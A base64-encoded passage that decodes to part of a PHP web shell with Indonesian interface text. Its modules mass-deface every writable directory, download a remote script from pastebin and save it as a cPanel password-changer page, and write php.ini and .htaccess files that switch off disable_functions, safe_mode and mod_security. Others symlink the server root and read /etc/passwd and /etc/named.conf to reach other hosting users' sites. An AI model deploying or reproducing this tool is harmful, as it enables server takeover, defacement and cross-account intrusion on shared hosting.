Ym1pdCcgdmFsdWU9J1N1Ym1pdCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgo8L2Zvcm0+PC9mb250PiI7CiAgICB9CiAgICBlY2hvICI8L2NlbnRlcj4iOwoKLy9NQVNTIERlZmFjZQp9IGVsc2VpZihpc3NldCgkX0dFVFsnYSddKSAmJiAoJF9HRVRbJ2EnXSA9PSAnbWFzc19kZWZhY2UnKSl7CiAgICBmdW5jdGlvbiBzYWJ1bl9tYXNzYWwoJGRpciwkbmFtYWZpbGUsJGlzaV9zY3JpcHQpIHsKICAgICAgICBmb3JlYWNoKCRqIGFzICRsb2thc2kpCiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJbPGZvbnQgY29sb3I9IzVkZGNmYz5TZWxlc2FpIEdhbjwvZm9udD5dICRsb2thc2k8YnI+IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpZHggPSBzYWJ1bl9tYXNzYWwoJGRpcmMsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNhYnVuX2JpYXNhKCRkaXIsJG5hbWFmaWxlLCRpc2lfc2NyaXB0KSB7CiAgICAgICAgaWYoaXNfd3JpdGFibGUoJGRpcikpIHsKICAgICAgICAgICAgJGRpcmEgPSBzY2FuZGlyKCRkaXIpOwogICAgICAgICAgICBmb3JlYWNoKCRkaXJhIGFzICRkaXJiKSB7CiAgICAgICAgICAgICAgICAkZGlyYyA9ICIkZGlyLyRkaXJiIjsKICAgICAgICAgICAgICAgICRsb2thc2kgPSAkZGlyYy4nLycuJG5hbWFmaWxlOwogICAgICAgICAgICAgICAgaWYoJGRpcmIgPT09ICcuJykgewogICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2ksICRpc2lfc2NyaXB0KTsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRkaXJiID09PSAnLi4nKSB7CiAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpcmMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRkaXJjKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiaHR0cDovLyRkaXJiLyRuYW1hZmlsZTxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoJGxva2FzaSwgJGlzaV9zY3JpcHQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgaWYoJF9QT1NUWydzdGFydCddKSB7CiAgICAgICAgaWYoJF9QT1NUWyd0aXBlX3NhYnVuJ10gPT0gJ21haGFsJykgewogICAgICAgICAgICBlY2hvICI8ZGl2IHN0eWxlPSdtYXJnaW46IDVweCBhdXRvOyBwYWRkaW5nOiA1cHgnPiI7CiAgICAgICAgICAgIHNhYnVuX21hc3NhbCgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwogICAgICAgICAgICBlY2hvICI8L2Rpdj4iOwogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndGlwZV9zYWJ1biddID09ICdtdXJhaCcpIHsKICAgICAgICAgICAgZWNobyAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOwogICAgICAgICAgICBzYWJ1bl9iaWFzYSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnZF9maWxlJ10sICRfUE9TVFsnc2NyaXB0J10pOwogICAgICAgICAgICBlY2hvICI8L2Rpdj4iOwogICAgICAgIH0KICAgIH0gZWxzZSB7CiAgICBlY2hvICI8Y2VudGVyPiI7CiAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPgogICAgPGZvbnQgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyc+VHlwZSAgU2FidW4gOjwvZm9udD48YnI+CiAgICA8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J3RpcGVfc2FidW4nIHZhbHVlPSdtdXJhaCcgY2hlY2tlZD5CaWFzYTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0ndGlwZV9zYWJ1bicgdmFsdWU9J21haGFsJz5NYXNzYWw8YnI+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Gb2xkZXIgOjwvZm9udD48YnI+CiAgICA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZF9kaXInIHZhbHVlPSckcGF0aCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkZpbGVuYW1lIDo8L2ZvbnQ+PGJyPgogICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZmlsZScgdmFsdWU9J2luZGV4LnBocCcgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj4KICAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkluZGV4IEZpbGUgOjwvZm9udD48YnI+CiAgICA8dGV4dGFyZWEgbmFtZT0nc2NyaXB0JyBzdHlsZT0nd2lkdGg6IDQ1MHB4OyBoZWlnaHQ6IDIwMHB4Oyc+UGFzdGVrYW4gU2NyaXB0IGRlZmFjZSBLYWxpYW4gZGlzaW5pITwvdGV4dGFyZWE+PGJyPgogICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdNYXNzIERlZmFjZScgc3R5bGU9J3dpZHRoOiA0NTBweDsnPgogICAgPC9mb3JtPjwvY2VudGVyPiI7CiAgICB9CiAgICAKCiNDSEFOR0VQQVNTV09SRENQCiB9IGVsc2VpZigkX0dFVFsnYSddID09ICdnZXRjcCcpIHsKICAgICRmdWxsID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSwgIiIsICRkaXIpOwogICAgZnVuY3Rpb24gZ2V0Y3AoJHVybCwgJGlzaSkgewogICAgICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQogICAgaWYoZmlsZV9leGlzdHMoJ2dldGNwLnBocCcpKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj1saW1lPjxhIGhyZWY9JyRmdWxsL2dldGNwLnBocCcgdGFyZ2V0PSdfYmxhbmsnPi0+IEtsaWsgRGlzaW5pIEdhbiA+OiggPC08L2E+PC9mb250PjwvY2VudGVyPiI7CiAgICB9IGVsc2UgewogICAgICAgIGlmKGdldGNwKCJodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvYnNMMmdCdHUiLCJnZXRjcC5waHAiKSkgewogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPWxpbWU+PGEgaHJlZj0nJGZ1bGwvZ2V0Y3AucGhwJyB0YXJnZXQ9J19ibGFuayc+S2xpayBEaXNpbmkgVW50dWsgQnVrYTwvYT48L2ZvbnQ+PC9jZW50ZXI+IjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXJlZD5nYWdhbCBidWF0IGZpbGUgcGFrZGUgOig8L2ZvbnQ+PC9jZW50ZXI+IjsKICAgICAgICB9CiAgICB9CgoKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnZGlzYWJsZWZ1bmMnKXsKICAgICAgICBlY2hvICI8YnI+PGJyPjxjZW50ZXI+IjsKICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1pbmkgdmFsdWU9J3BocC5pbmknIC8+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aHRjZSB2YWx1ZT0nLmh0YWNjZXNzJyAvPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWxpdGluaSB2YWx1ZT0nTGl0ZXNwZWVkJyAvPjwvZm9ybT4iOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnaW5pJ10pKQp7CiAgICAgICAgJGZpbGUgPSBmb3BlbigicGhwLmluaSIsInciKTsKICAgICAgICBlY2hvIGZ3cml0ZSgkZmlsZSwiZGlzYWJsZV9mdW5jdGlvbnM9bm9uZQpzYWZlX21vZGUgPSBPZmYKICAgICIpOwogICAgICAgIGZjbG9zZSgkZmlsZSk7CiAgICAgICAgZWNobyAiPGEgaHJlZj0ncGhwLmluaSc+Y2xpY2sgaGVyZSE8L2E+IjsKfSAgICAgICBpZihpc3NldCgkX1BPU1RbJ2h0Y2UnXSkpCnsKICAgICAgICAkZmlsZSA9IGZvcGVuKCIuaHRhY2Nlc3MiLCJ3Iik7CiAgICAgICAgZWNobyBmd3JpdGUoJGZpbGUsIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KU2VjRmlsdGVyRW5naW5lIE9mZgpTZWNGaWx0ZXJTY2FuUE9TVCBPZmYKPC9JZk1vZHVsZT4KICAgICIpOwogICAgICAgIGZjbG9zZSgkZmlsZSk7CiAgICAgICAgZWNobyAiaHRhY2Nlc3Mgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQhIjsKfSAgICAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbGl0aW5pJ10pKXsKICAgICAgICAkaW5pcGggPSAnPD8gbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBuIGVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7IG4gaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsgbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IG4gaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOyBuIGVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7IG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgbiBpbmNsdWRlKCRfR0VUWyJzcyJdOyBuID8+JzsKICAgICAgICAgICAgICRieXBoID0gInNhZmVfbW9kZSA9IE9mZiBuIGRpc2FibGVfZnVuY3Rpb25zPSAiOwogICAgICAgICRjb21wPSJQRVpwYkdWeklDb3VjR2h3UGcwS1JtOXlZMlZVZVhCbElHRndjR3hwWTJGMGFXOXVMM2d0YUhSMGNHUXRjR2h3TkEwS1BDOUdhV3hsY3o0PSI7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiaW5pLnBocCIsYmFzZTY0X2RlY29kZSgkaW5pcGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIixiYXNlNjRfZGVjb2RlKCRjb21wKSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CiAgICAgICAgZWNobyI8L2NlbnRlcj4iOwp9Cgp9CmVsc2VpZigkX0dFVFsnYSddID09ICdzeW1saW5rJykgewokZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7CiRkMG1haW5zID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwojI2h0dGFjZXMKaWYoJGQwbWFpbnMpewpAbWtkaXIoImswdjNUX3N5bSIsMDc3Nyk7CkBjaGRpcigiazB2M1Rfc3ltIik7CkBleGUoImxuIC1zIC8gcm9vdCIpOwokZmlsZTMgPSAnT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueSc7CiRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwokZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwplY2hvICI8YnI+Cjx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTEgc3R5bGU9J3dpZHRoOjYwJTtib3JkZXItY29sb3I6IzMzMzMzMzsnPgo8dHI+Cjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlMuIE5vLjwvZm9udD48L3RkPgo8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj5Eb21haW5zPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlVzZXJzPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPlN5bWxpbms8L2ZvbnQ+PC90ZD4KPC90cj4iOwokZGNvdW50ID0gMTsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOwplY2hvICI8dHIgYWxpZ249Y2VudGVyPjx0ZD48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC9mb250PjwvdGQ+Cjx0ZCBhbGlnbj1sZWZ0PjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPjxmb250IGNsYXNzPXR4dD4iLiRkb21haW5zWzFdWzBdLiI8L2ZvbnQ+PC9hPjwvdGQ+Cjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+Cjx0ZD48YSBocmVmPSckZnVsbC9rMHYzVF9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgY2xhc3M9dHh0PlN5bWxpbms8L2ZvbnQ+PC9hPjwvdGQ+PC90cj4iOwpmbHVzaCgpOwokZGNvdW50Kys7fX19CmVjaG8gIjwvdGFibGU+IjsKfWVsc2V7CiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwppZiAoJFRFU1QpewpAbWtkaXIoImswdjNUX3N5bSIsMDc3Nyk7CkBjaGRpcigiazB2M1Rfc3ltIik7CmV4ZSgibG4gLXMgLyByb290Iik7CiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MKRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwClNhdGlzZnkgQW55JzsKICRmcDMgPSBmb3BlbignLmh0YWNjZXNzJywndycpOwogJGZ3MyA9IGZ3cml0ZSgkZnAzLCRmaWxlMyk7CiBAZmNsb3NlKCRmcDMpOwogZWNobyAiCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+VXNlcnM8L2ZvbnQ+PC90ZD4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlN5bWxpbms8L2ZvbnQ+PC90ZD48L3RyPiI7CiAkZGNvdW50ID0gMTsKICRmaWxlID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOwogd2hpbGUoIWZlb2YoJGZpbGUpKXsKICRzID0gZmdldHMoJGZpbGUpOwogJG1hdGNoZXMgPSBhcnJheSgpOwogJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOwogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikKIGNvbnRpbnVlOwogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOwogZWNobyAiPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+PGEgaHJlZj0kZnVsbC9rMHYzVF9zeW0vcm9vdC9ob21lLyIgLiAkbWF0Y2hlcyAuICIvcHVibGljX2h0bWwgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbms8L2E+PC90ZD48L3RyPiI7CiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7CiBlY2hvICI8L3RhYmxlPiI7fWVsc2V7aWYoJG9zICE9ICJXaW5kb3dzIil7QG1rZGlyKCJrMHYzVF9zeW0iLDA3NzcpO0BjaGRpcigiazB2M1Rfc3ltIik7QGV4ZSgibG4gLXMgLyByb290Iik7JGZpbGUzID0gJwogT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocApBZGRIYW5kbGVyIHRleHQvcGxhaW4gLnBocApTYXRpc2Z5IEFueQonOwogJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7CiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOwogZWNobyAiCiA8ZGl2IGNsYXNzPSdteWJveCc+PGgyIGNsYXNzPSdrMmxsMzNkMic+c2VydmVyIHN5bWxpbmtlcjwvaDI+CiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPklEPC9mb250PjwvdGQ+CiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5Vc2VyczwvZm9udD48L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsKICR0ZW1wID0gIiI7JHZhbDEgPSAwOyR2YWwyID0gMTAwMDsKIGZvcig7JHZhbDEgPD0gJHZhbDI7JHZhbDErKykgeyR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJHZhbDEpOwogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9CiBlY2hvICc8YnIvPic7JHRlbXAgPSB0cmltKCR0ZW1wKTskZmlsZTUgPQogZm9wZW4oInRlc3QudHh0IiwidyIpOwogZnB1dHMoJGZpbGU1LCR0ZW1wKTsKIGZjbG9zZSgkZmlsZTUpOyRkY291bnQgPSAxOyRmaWxlID0KIGZvcGVuKCJ0ZXN0LnR4dCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsKIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOwogJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7JG1hdGNoZXMgPSBzdHJfcmVwbGFjZSgiaG9tZS8iLCIiLCRtYXRjaGVzWzFdKTsKIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpCiBjb250aW51ZTsKIGVjaG8gIjx0cj48dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mj4iIC4gJGRjb3VudCAuICI8L3RkPgogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsKIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOwogJGRjb3VudCsrO30KIGZjbG9zZSgkZmlsZSk7CiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOwogfSBlbHNlCiBlY2hvICI8Y2VudGVyPjxmb250IHNpemU9Mz5DYW5ub3QgY3JlYXRlIFN5bWxpbms8L2ZvbnQ+PC9jZW50ZXI+IjsKIH0KIH0KCiMjSlVNUElORyAKfSBlbHNlaWYoJF9HRVRbJ2EnXSA9PSAnanVtcGluZycpIHsKICAgICRpID0gMDsKICAgIGVjaG8gIjxwcmU+PGRpdiBjbGFzcz0nbWFyZ2luOiA1cHggYXV0bzsnPiI7CiAgICAkZXRjID0gZm9wZW4oIi9ldGMvcGFzc3dkIiwgInIiKSBvciBkaWUoIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiIpOwogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7CmlmKCRwYXNzd2QgPT0gJycgfHwgISRldGMpIHsKICAgIGVjaG8gIjxmb250IGNvbG9yPXJlZD5DYW4ndCByZWFkIC9ldGMvcGFzc3dkPC9mb250PiI7Cn0gZWxzZSB7CiAgICBwcmVnX21hdGNoX2FsbCgnLyguKj8pOng6LycsICRwYXNzd2QsICR1c2VyX2p1bXBpbmcpOwogICAgZm9yZWFjaCgkdXNlcl9qdW1waW5nWzFdIGFzICR1c2VyX2lkeF9qdW1wKSB7CiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOwogICAgICAgIGlmKGlzX3JlYWRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgewogICAgICAgICAgICAkaSsrOwogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCR1c2VyX2p1bXBpbmdfZGlyKSkgewogICAgICAgICAgICAgICAgJGpydyA9ICJbPGZvbnQgY29sb3I9IzVkZGNmYz5SVzwvZm9udD5dIDxhIGhyZWY9Jz9kaXI9JHVzZXJfanVtcGluZ19kaXInPjxmb250IGNvbG9yPSM1ZGRjZmM+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAkanJ3OwogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsKICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICAKICAgICAgICAgICAgICAgIGlmKCRkb21haW5fanVtcCA9PSAnJykgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIiA9PiAoIDxmb250IGNvbG9yPXJlZD5nYWdhbCBtZW5nYW1iaWwgbmFtYSBkb21haW4gbnlhPC9mb250PiApPGJyPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2hfYWxsKCIjL3Zhci9uYW1lZC8oLio/KS5kYiMiLCAkZG9tYWluX2p1bXAsICRkb21haW5zX2p1bXApOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGRvbWFpbnNfanVtcFsxXSBhcyAkZGopIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSAkdXNlcl9qdW1waW5nX3VybFsnbmFtZSddOwogICAgICAgICAgICAgICAgICAg